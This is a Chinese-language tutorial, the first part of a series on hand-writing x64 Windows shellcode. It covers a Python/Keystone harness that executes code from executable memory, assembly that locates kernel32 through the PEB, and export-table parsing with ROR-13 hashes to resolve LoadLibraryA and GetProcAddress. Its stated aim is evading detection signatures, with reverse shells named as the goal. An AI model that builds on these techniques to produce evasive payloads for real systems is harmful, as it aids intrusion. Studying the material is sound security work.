Shellcode 编写 - 1 背景 一般来说,如果我们需要执行 Shellcode,会通过各自的 C2 或者 msfvenom 来生成,但因为这些工具大部分都是开源的,即便是商业工具,也会因为样本的提交导致 Shellcode 的特征被标记。 因此,编写自定义的 Shellcode 可以实现更多的灵活性以及特征规避,同时也很有趣。 测试方法 使用 Keystone 引擎,可以让 Shellcode 的编写更加流畅。Keystone 是一个汇编框架,可以与多种语言绑定,包括 Python。这样的话,我们可以在 Python 脚本中写入汇编代码,然后让 Keystone 框架完成剩下的任务。 我们首先需要通过 pip 安装 keystone 引擎: pip3 install keystone-engine 然后使用如下的脚本模板,我们需要做的是在 CODE 变量中写入汇编代码。之后,汇编代码会被转换为 Shellcode 并被 CType 库所调用的 API 执行。 import ctypes, struct from keystone import * CODE = ( " start: " # " int3 ;" # Breakpoint for Windbg. REMOVE ME WHEN NOT DEBUGGING!!!! ............ ) ks = Ks(KS_ARCH_X86, KS_MODE_64) encoding, count = ks.asm(CODE) print("Encoded %d instructions..." % count) sh = b"" for e in encoding: sh += struct.pack("B", e) shellcode = bytearray(sh) ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64 ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) print("Shellcode located at address %s" % hex(ptr)) input("...ENTER TO EXECUTE SHELLCODE...") ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) 我们在代码部分最开始加入了 int 3 指令,这样当 Shellcode 被执行时,暂停在最开始的地方,方便我们调试编写的 Shellcode。在命令行中运行该 Python 脚本,脚本的运行会被 input 函数暂停。 打开 WinDBG,附加到 python.exe 进程 附加到 python.exe 进程上之后,让程序继续执行,回到脚本被执行的命令行,按下任意键,这样,我们就到了 Shellcode 的入口处。 通过 Syscall 调用的缺陷 我们在第 1 小节说过,syscall 提供从用户空间到受保护内核的接口,该接口允许访问用于 I/O、线程同步、套接字管理等的底层操作系统功能。syscall 允许用户模式的应用程序直接访问内核,同时确保它们不会损害操作系统。一般来说,任何 Shellcode 的目的都是执行不属于原始应用程序代码逻辑的任意操作。为此,Shellcode 使用汇编指令,在漏洞利用 (exploit) 劫持应用程序的执行流后调用系统调用。 Windows NTAPI 相当于 UNIX 操作系统上的系统调用接口,通过 ntdll.dll 库向用户模式应用程序公开,但微软有意地没有提供 NTAPI 用法的官方文档。因此,它为用户模式应用提供了一种以受控方式调用位于内核中的操作系统函数的方法。在大多数 UNIX 操作系统上,系统调用接口都有详细的文档记录,并且通常可供用户应用程序使用。相比之下,由于 NT 架构的性质,NTAPI 隐藏在更高级别的 API 后面,例如 NtCreateFile 隐藏在 CreateFile 后面。内核级函数通常由用于调用相应函数的 SSN 来标识,但在 Windows 上,这些 SSN 可能随着系统更新而发生变化。但在 Linux 系统上,这些调用编号是固定的并且不会改变。我们还应该记住,Windows 上 syscall 接口导出的功能集合相当有限,这意味着我们需要避免直接 syscall 来为 Windows 编写通用且可靠的 Shellcode。 不使用 syscall 的情况下,我们与内核直接通信的唯一选项是使用 Windows API,它由核心 DLL 文件导出,在运行时映射到进程的内存空间。如果 DLL 尚未加载到进程空间中,我们需要先加载它们并找到对应的导出函数,找到这些函数之后,我们就可以将它们作为 Shellcode 的一部分来调用,以执行特定的任务。Kernel32.dll 文件导出了可用于完成这 2 项任务的函数,并且该 DLL 一般都会被映射到进程的内存中。需要注意的是,考虑到 ASLR 等内存保护措施,以及不同版本的操作系统之间的差异,我们需要避免使用硬编码函数地址,以确保我们的 Shellcode 的适用性。 Kernel32.dll 中的 LoadLibraryA 函数可用于实现 DLL 的加载,GetModuleHandleA 可用于获取已加载 DLL 的基址,GetProcAddress 可用于根据提供的函数名得到函数的地址。但我们首先要获得 LoadLibrary 和 GetProcAddress 这 2 个函数的内存地址,也就是我们需要先找到 Kernel32.dll 的基址,然后从 Kernel32.dll 中获得这 2 个函数的地址。在这之后,我们就可以调用 LoadLibraryA 与 GetProcAddress 这 2 个函数获得任意 DLL 的基址与任意函数的地址。在此基础上,我们可以编写 Shellcode 实现例如逆向 Shell、正向 Shell、程序执行等目的了。 寻找 KERNEL32 因为我们并不会预先知道 LoadLibraryA 与 GetProcAddress 的地址,所以我们需要先定位到并解析加载到内存中的 Kernel32.dll。对于任何进程,Kernel32.dll 几乎是肯定会被加载的,因为它导出的函数对于大多数进程都是必须的。 为了找到 Kernel32 模块,在 TEB 的 0x60 处,访问到 PEB 的指针,对应的汇编代码如下: mov rax, gs:[0x60]; # RAX为TEB中ProcessEnvironmentBlock成员的值,即PEB地址 在 PEB 的 0x18 处,访问到结构体 _PEB_LDR_DATA 的指针: mov rsi,[rax+0x18]; # 在PEB中得到LDR成员的值,即_PEB_LDR_DATA结构体的地址 _PEB_LDR_DATA 结构体包含了所有模块的信息。访问该 _PEB_LDR_DATA 结构体,里面有多个成员,其中重要的是 3 个 双向链表 (头),分别是 InLoadOrderModuleList,InMemoryOrderModuleList,和 InInitializationOrderModuleList。 InLoadOrderModuleList 按加载顺序显示上一个和下一个模块,InMemoryOrderModuleList 按内存放置顺序显示,InInitializationOrderModuleList 按初始化顺序显示,因此获得任一链表的地址就足够了。 这 3 个双向链表都是 _LIST_ENTRY 类型的数据结构,每个条目都代表着单个载入的模块,每个条目有着 2 个成员 Flink 和 Blink,分别保存着下一个和上一个条目的地址。 我们可以选择任意一个双向链表,这里的话,我们保存 InMemoryOrderModuleList 的地址。 mov rsi,[rsi + 0x20]; # RSI为_PEB_LDR_DATA结构体中InMemoryOrderModuleList成员的地址 InMemoryOrderModuleList 当前条目的 Flink 的值为下一个条目的地址,Blink 的值为上一个条目的地址。这些条目与各条目的成员数值的关系如下图所示: 我们还会发现,链表的当前条目是一个 _LDR_DATA_TABLE_ENTRY 结构体的指针。该结构体中 InMemoryOrderLinks 成员的偏移为 0x10。因此,当前条目的地址减去 0x10 字节便可访问到该结构体的基址: LDR、3 条 _LIST_ENTRY 类型的链表、以及 _LDR_DATA_TABLE_ENTRY 结构体这 3 者之间的关系如下: PEB | |---> _PEB_LDR_DATA | |---> InLoadOrderModuleList (_LIST_ENTRY) | | | |---> _LDR_DATA_TABLE_ENTRY (module 1) | |---> _LDR_DATA_TABLE_ENTRY (module 2) | |---> ... | |---> InMemoryOrderModuleList (_LIST_ENTRY) | | | |---> _LDR_DATA_TABLE_ENTRY (module 1) | |---> _LDR_DATA_TABLE_ENTRY (module 2) | |---> ... | |---> InInitializationOrderModuleList (_LIST_ENTRY) | |---> _LDR_DATA_TABLE_ENTRY (module 1) |---> _LDR_DATA_TABLE_ENTRY (module 2) |---> ... 此外,我们可以在 _LDR_DATA_TABLE_ENTRY 结构体的 0x30 与 0x58 处分别得到当前模块的基址与名称。 总之,不管是使用 3 条链表中的哪条 (本小节以 InMemoryOrderLinks 为例),当前条目对应着 1 个加载的模块,我们可以进而得到当前模块的基址和名称。在任一条目中,如果当前条目所对应的模块不是 Kernel32.dll,则通过 Flink 访问下一个模块 不过需要注意的是,BaseDllName 是 _UNICODE_STRING 类型的成员,字符串起始位置位于 0x08 处。 回到汇编指令: mov r9, [rsi + 0x20]; # R9 此时保存着当前模块的基址 mov rdi, [rsi + 0x50]; # RDI 保存着DllBaseName中的Buffer地址,即模块名称字符串的地址 mov rsi, [rsi]; # 获得下一个条目的地址 得到模块名称后,我们需要与 "KERNEL32.DLL" 对比,也就是一个字符串的比较。虽然在 Windows 文件系统中,是不区分大小写的,但字符串的比较是区分的。KERNEL32.DLL 被载入后的模块名可能为 KERNEL32,可能为 kernel32,甚至可能为 Kernel32。在不确定目标主机和进程中载入模块的名称大小写命名方案的情况下,我们可以设置自己的比较标准,例如字符串占用 24 字节 (共 12 个字符,因为是 Unicode 所以总计24 字节)、字符串整体完全比较等。但都有各自的弊端,如果比较长度,可能有其他的模块恰好也是12 个字符,如果比较整体字符串,大小写的排列组合比较难以预测。 因此,这里我给出个自己的比较标准:比较 "ernel32." 这个子字符串。虽然说我们不确定模块名称的大小写,但一般要么是 KERNEL32,要么是 Kernel32,要么是 kernel32。很少会出现 kERNel 这样的大小写无规律混合的情况。代码如下: add rdi, 2; # 跳过K字符 check_upper: # 如果"ERNEL32."是大写 mov r12, 0x0045004E00520045; # Unicode字符串 "ENRE" mov r13, 0x002e00320033004c; # Unicode字符串 ".23L" mov rdx, qword ptr [rdi]; # 将字符串 "ERNEL32.DLL" 复制到RDX cmp rdx, r12; # 将前4个字符与"ENRE"比较 jne check_lower; # 如果不相等,可能模块名为小写 mov rdx, qword ptr [rdi + 8]; # 如果相等,继续比较,将".23L"复制到RDX cmp rdx, r13; # 将后4个字符与".23L"比较 jne next_module; # 如果不相等,移动到下一个条目 mov rax, r9; # 保存kernel32的基址 ret; check_lower: # 如果"ernel32."是小写 mov r12, 0x0065006E00720065; # Unicode字符串 "enre" mov r13, 0x002e00320033006c; # Unicode字符串 ".23l" mov rdx, qword ptr [rdi]; cmp rdx, r12; jne next_module; # 如果不相等,不会是大小写原因,直接进入下个条目 mov rdx, qword ptr [rdi + 8]; cmp rdx, r13; jne next_module; mov rax, r9; ret; 最终,我们能得到 KERNEL32.DLL 的基址。 定位所需 API 得到 KERNEL32.DLL 的基址后,我们就能利用之前所学的 PE 结构的知识来获得 LoadLibraryA 与 GetProcAddress 函数的地址了。得到函数地址的方法有 2 种:函数序数以及函数名称。因为不同版本的相同 DLL 可能有所不同,因此导出函数列表也有所差异,硬编码函数序数是不够适用的,因此我们还是提供函数名称好了。这样的话,我们的步骤如下: 1:获得e_lfanew的值从而定位到NT头 2:获得导出目录的RVA以及VMA 3:获得函数名称的数量 4:遍历ENPT表获得函数名称的RVA以及函数名称字符串 5:在OT表中获得函数序数 6:在EAT表中获得函数RVA以及VMA 前 4 步对应的汇编指令如下: parse_module: # 解析内存中的DLL文件 mov ecx, dword ptr [r9 + 0x3c]; # R9保存着模块的基址,获取NT头偏移 mov r15d, dword ptr [r9 + rcx + 0x88]; # 获取导出目录的RVA add r15, r9; # R14保存着导出目录的VMA mov ecx, dword ptr [r15 + 0x18]; # ecx保存着函数名称的数量,作为索引值 mov r14d, dword ptr [r15 + 0x20]; # 获得ENPT的RVA add r14, r9; # R14 保存着ENPT的VMA search_function: # 搜索给定函数 jrcxz not_found; # 如果RCX为0,那么没找到给定函数 dec ecx; # 索引减少1 xor rsi, rsi; mov esi, [r14 + rcx*4]; # 函数名称字符串的RVA add rsi, r9; # RSI 指向函数名称字符串 不过,相比使用函数名称,对比函数名称的哈希会更加方便。并且,哈希算法不需要十分复杂,即便可能存在哈希碰撞的问题也无妨,只要任意 2 个函数名的哈希值不同即可。 哈希函数名的 Python 脚本如下: #!/usr/bin/python import numpy, sys def ror_str(byte, count): binb = numpy.base_repr(byte, 2).zfill(32) while count > 0: binb = binb[-1] + binb[0:-1] count -= 1 return (int(binb, 2)) if __name__ == '__main__': try: rsi = sys.argv[1] except IndexError: print("Usage: %s INPUTSTRING" % sys.argv[0]) sys.exit() # Initialize variables rdx = 0x00 ror_count = 0 for rax in rsi: rdx = rdx + ord(rax) if ror_count < len(rsi)-1: rdx = ror_str(rdx, 0xd) ror_count += 1 print(hex(rdx)) 对应的代码如下: start: sub rsp, 0x20; # 函数序言 call find_kernel32; add rsp, 0x20; # 函数尾声 mov rbp, rax; # RBP保存Kernel32.dll基址 mov r8d, 0xec0e4e8e; # LoadLibraryA哈希 sub rsp, 0x20; # 函数序言 call parse_module; # 搜索 LoadLibraryA函数并获得地址 add rsp, 0x20; # 函数尾声 mov r12, rax; mov r8d, 0x7c0dfcaa; # GetProcAddress哈希 sub rsp, 0x20; # 函数序言 call parse_module; # 搜索GetProcAddress函数并获得地址 add rsp, 0x20; # 函数尾声 mov r13, rax; ............ function_hashing: # 哈希函数名函数 xor rax, rax; xor rdx, rdx; cld; # 清除DF标志位 iteration: # 迭代每个字节 lodsb; # RSI的下一个字节拷贝给Al test al, al; # 如果到达字符串末尾 jz compare_hash; # 比较哈希 ror edx, 0x0d; # 哈希算法部分 add edx, eax; # 哈希算法部分 jmp iteration; # 下一个字节 compare_hash: # 比较哈希 cmp edx, r8d; jnz search_function; # 如果不等,搜索前一个函数 (索引由大变小) mov r10d, [r15 + 0x24]; # 序数表RVA add r10, r9; # 序数表VMA movzx ecx, word ptr [r10 + 2*rcx]; # 函数序数值 -1 mov r11d, [r15 + 0x1c]; # EAT的RVA add r11, r9; # EAT的VNA mov eax, [r11 + 4*rcx]; # RAX保存函数RVA add rax, r9; # RAX保存着函数VMA ret; not_found:" ret; 成功得到函数的地址。 在下一小节,我们将讨论如何调用 API 并对最初的完整 Shellcode 进行优化。